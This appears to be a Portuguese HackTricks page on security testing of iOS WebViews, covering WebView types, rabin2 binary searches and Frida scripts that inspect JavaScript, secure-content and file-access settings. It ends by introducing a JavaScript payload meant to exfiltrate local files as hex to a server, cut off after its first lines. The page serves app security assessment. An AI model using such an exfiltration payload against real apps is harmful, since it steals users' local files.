# WebViews do iOS
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
O código desta página foi extraído [aqui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Verifique a página para mais detalhes.
## Tipos de WebViews
WebViews são utilizados em aplicativos para exibir conteúdo da web de forma interativa. Vários tipos de WebViews oferecem diferentes funcionalidades e recursos de segurança para aplicativos iOS. Aqui está uma breve visão geral:
- **UIWebView**, que não é mais recomendado a partir do iOS 12 devido à falta de suporte para desabilitar **JavaScript**, tornando-o suscetível a injeção de script e ataques de **Cross-Site Scripting (XSS)**.
- **WKWebView** é a opção preferida para incorporar conteúdo da web em aplicativos, oferecendo controle aprimorado sobre o conteúdo e recursos de segurança. O **JavaScript** é habilitado por padrão, mas pode ser desativado se necessário. Ele também suporta recursos para evitar que o JavaScript abra automaticamente janelas e garante que todo o conteúdo seja carregado com segurança. Além disso, a arquitetura do **WKWebView** minimiza o risco de corrupção de memória afetando o processo principal do aplicativo.
- **SFSafariViewController** oferece uma experiência de navegação na web padronizada dentro dos aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir o conteúdo no Safari. Ao contrário do **WKWebView**, o **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário a partir do aplicativo. Ele deve ser exibido de forma proeminente de acordo com as diretrizes da App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Resumo da Exploração da Configuração de WebViews
### **Visão Geral da Análise Estática**
No processo de examinar as configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar essas WebViews dentro de um binário, comandos são utilizados, buscando por referências de classes específicas e métodos de inicialização.
- **Identificação de UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Este comando ajuda a localizar instâncias de **UIWebView** ao procurar por strings de texto relacionadas a ele no binário.
- **Identificação do WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Da mesma forma, para o **WKWebView**, este comando pesquisa o binário por strings de texto indicativas de seu uso.
Além disso, para encontrar como um **WKWebView** é inicializado, o seguinte comando é executado, visando a assinatura do método relacionado à sua inicialização:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Verificação de Configuração do JavaScript**
Para o **WKWebView**, é destacado que desativar o JavaScript é uma prática recomendada, a menos que seja necessário. O binário compilado é pesquisado para confirmar que a propriedade `javaScriptEnabled` está definida como `false`, garantindo que o JavaScript esteja desativado:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Apenas Verificação de Conteúdo Seguro**
**WKWebView** oferece a capacidade de identificar problemas de conteúdo misto, em contraste com **UIWebView**. Isso é verificado usando a propriedade `hasOnlySecureContent` para garantir que todos os recursos da página sejam carregados por meio de conexões seguras. A busca no binário compilado é realizada da seguinte forma:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Informações de Análise Dinâmica**
A análise dinâmica envolve a inspeção do heap em busca de instâncias de WebView e suas propriedades. Um script chamado `webviews_inspector.js` é usado para esse fim, visando instâncias de `UIWebView`, `WKWebView` e `SFSafariViewController`. Ele registra informações sobre as instâncias encontradas, incluindo URLs e configurações relacionadas a JavaScript e conteúdo seguro.
A inspeção do heap pode ser realizada usando `ObjC.choose()` para identificar instâncias de WebView e verificar as propriedades `javaScriptEnabled` e `hasonlysecurecontent`.
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
O script é executado com:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Resultados Chave**:
- Instâncias de WebViews são localizadas e inspecionadas com sucesso.
- A ativação do JavaScript e as configurações de conteúdo seguro são verificadas.
Este resumo encapsula os passos críticos e comandos envolvidos na análise das configurações do WebView por meio de abordagens estáticas e dinâmicas, focando em recursos de segurança como a ativação do JavaScript e detecção de conteúdo misto.
## Manipulação de Protocolo do WebView
Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos aplicativos. É enfatizado que ao carregar conteúdo local, precauções devem ser tomadas para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si.
**WebViews** oferecem diferentes métodos para carregar conteúdo. Para **UIWebView**, agora obsoleto, são utilizados métodos como `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por outro lado, emprega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` para conteúdo web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` são tipicamente utilizados para carregar arquivos locais. O método `loadFileURL:allowingReadAccessToURL:` é particularmente notável por sua capacidade de carregar um URL ou diretório específico no WebView, potencialmente expondo dados sensíveis se um diretório for especificado.
Para encontrar esses métodos no código-fonte ou binário compilado, comandos como os seguintes podem ser usados:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
Em relação ao **acesso a arquivos**, o UIWebView permite universalmente, enquanto o WKWebView introduz configurações `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` para gerenciar o acesso a URLs de arquivos, sendo ambas falsas por padrão.
Um exemplo de script Frida é fornecido para inspecionar as configurações de segurança do **WKWebView**:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
Por último, um exemplo de um payload JavaScript destinado a exfiltrar arquivos locais demonstra o risco de segurança potencial associado a WebViews mal configurados. Este payload codifica o conteúdo do arquivo em formato hexadecimal antes de transmiti-los para um servidor, destacando a importância de medidas de segurança rigorosas nas implementações de WebViews.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i